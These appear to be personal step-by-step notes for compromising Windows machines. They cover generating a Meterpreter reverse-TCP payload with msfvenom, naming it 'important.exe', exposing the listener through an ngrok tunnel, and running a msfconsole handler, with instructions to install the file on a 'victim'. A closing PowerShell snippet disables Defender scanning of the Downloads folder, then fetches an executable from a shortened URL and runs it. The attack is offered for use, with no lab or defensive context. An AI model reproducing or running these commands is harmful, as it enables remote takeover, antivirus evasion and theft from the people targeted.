1. Set up ngrok

 ngrok tcp 4444 (4444 is my msfvenom's port)

2. Setup msfconsole

- sudo msfconsole
- msfvenom
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.tcp.in.ngrok.io LPORT=11296 -f exe -o /home/niranga/Desktop/important.exe

In here why we LPORT= 11296 is when I start ngrok server it shows as follow
tcp://0.tcp.in.ngrok.io:11296 -> localhost:4444

- Then - use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- show options

 Then we can see

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description

---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Then – set set LHOST 127.0.0.1 (it also shows in ngrokserver)

- **Then - show options**

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	127.0.0.1	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

- Then – exploit

Now you can install software to victim and your terminal will activate

- Then - ? (now you can see the option you have)

```
Add-MpPreference -ExclusionPath $env:USERPROFILE\Downloads
$url = 'https://shorturl.at/lqqTF'
$outputFile = [System.IO.Path]::Combine($env:USERPROFILE, 'Downloads',
'client.exe')

# Wait until the exclusion is confirmed (just a safeguard, usually it
happens instantly)
Start-Sleep -Milliseconds 100

# Download the file
```

```
Invoke-WebRequest -Uri $url -OutFile $outputFile

# Run the downloaded file after the download is complete
Start-Process -FilePath $outputFile
```